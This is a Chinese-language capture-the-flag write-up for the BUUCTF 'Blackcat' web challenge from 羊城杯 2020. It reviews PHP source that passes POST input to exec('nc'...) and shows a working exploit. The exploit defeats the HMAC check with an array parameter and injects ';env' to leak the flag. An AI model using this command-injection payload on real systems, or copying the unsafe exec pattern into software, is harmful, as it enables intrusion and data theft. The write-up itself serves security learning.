【BUUCTF】[羊城杯 2020]Blackcat1

打开题目页面如下

发现是一段音频,去看看源码,是一个压缩包,下载看看

得到这些文件,发现居然还给了个假的flag,源码在index. php中,下面进行代码审计

php 复制代码
<?php
// 检查 $_POST 数组中 'Black-Cat-Sheriff' 和 'One-ear' 这两个键对应的值是否为空
// empty() 函数用于检查一个变量是否为空,为空的情况包括变量未定义、值为 0、空字符串、空数组等
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    // 如果 'Black-Cat-Sheriff' 或 'One-ear' 为空,则输出错误信息并终止脚本执行
    die('谁!竟敢踩我一只耳的尾巴!');
}

// 使用 getenv() 函数获取名为 'clandestine' 的环境变量的值,并将其赋值给变量 $clandestine
// 环境变量通常用于存储系统或应用程序的配置信息
$clandestine = getenv("clandestine");

// 检查 $_POST 数组中是否存在 'White-cat-monitor' 这个键
if(isset($_POST['White-cat-monitor']))
    // 如果存在 'White-cat-monitor' 键,则使用 hash_hmac() 函数对其进行哈希处理
    // hash_hmac() 函数使用指定的哈希算法(这里是 'sha256')和密钥($clandestine)对数据进行哈希运算
    // 并将结果重新赋值给 $clandestine 变量
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);

// 使用 hash_hmac() 函数对 $_POST['One-ear'] 的值进行哈希处理,使用 $clandestine 作为密钥
// 并将哈希结果赋值给变量 $hh
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

// 比较 $hh(计算得到的哈希值)和 $_POST['Black-Cat-Sheriff'] 的值是否不相等
if($hh !== $_POST['Black-Cat-Sheriff']){
    // 如果不相等,则输出错误信息并终止脚本执行
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

// 如果前面的条件都满足,说明验证通过
// 使用 exec() 函数执行系统命令,这里尝试执行 "nc" 命令并拼接上 $_POST['One-ear'] 的值
// 这意味着 $_POST['One-ear'] 的值会作为命令的一部分被执行,存在严重的安全风险
echo exec("nc".$_POST['One-ear']);
?>

着重看这几行

php 复制代码
// 使用 hash_hmac() 函数对 $_POST['One-ear'] 的值进行哈希处理,使用 $clandestine 作为密钥
// 并将哈希结果赋值给变量 $hh
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

// 比较 $hh(计算得到的哈希值)和 $_POST['Black-Cat-Sheriff'] 的值是否不相等

恕我小白,不太明白,去看了大佬的博客,链接如下

羊城杯 2020Blackcat_羊城杯 2020blackcat 1-CSDN博客

大佬的思路如下

php 复制代码
<?php
$clandestine = hash_hmac('sha256', array(), 123);
$hh = hash_hmac('sha256', ';cat flag.php', $clandestine);
echo $hh;

利用上面的PHP代码求出value

可以用php在线运行,在线工具,在线编译IDE_w3cschool这个工具运行PHP

得到

04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

利用下面这exp求出Black-Cat-Sheriff的value

php 复制代码
<?php

var_dump(hash_hmac('sha256', ";env", NULL));

?>

得到

afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b

最后构造payload

White-cat-monitor\[\]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

最后利用hackbar插件,用post传参,故最终得到flag

相关推荐
Bruce_Liuxiaowei7 小时前
2026年10月第4周网络安全形势周报
安全·web安全·网络安全
马立杰7 小时前
Docker Build 编译补丁版 PHP7.4 FPM 容器镜像教程(CVE-2026-109618 CVE-2026-109619)
运维·docker·容器·php
特别关注外国供应商7 小时前
Claroty Claire:OT 环境中的 AI 驱动型网络安全
人工智能·网络安全·ai安全·工业网络安全·claroty·ot网络安全·暴露面管理
愤怒火龙果7 小时前
AIGC 安全学习笔记02 后门攻击・LLM 安全靶场・提示词注入
学习·安全·aigc
骑着蜗牛撵大象3277 小时前
从三次握手到 epoll:C++ 写出可落地的 TCP Socket 服务端
网络·c++·tcp/ip·高并发·tcp·epoll
安教安全员通关宝7 小时前
2026年江西安全员A证考试题库+答案+解析
安全
徐征6397 小时前
邮件安全网关检测流水线解析:OCR、二维码提取与带密分析的实现方向标
web安全
比兔代理7 小时前
静态 IP 的粘性会话原理,以及连接稳定性解析
网络·网络协议
脏脏a8 小时前
从“远程桌面”到“设备接力”:2026年六款远控软件跨端协作与安全横评
安全
青藤云安全8 小时前
AI攻防备战报告(运营商篇)|攻击面 “3+1” 解析:通信关基面临的新型 AI 安全风险
人工智能·网络安全·ai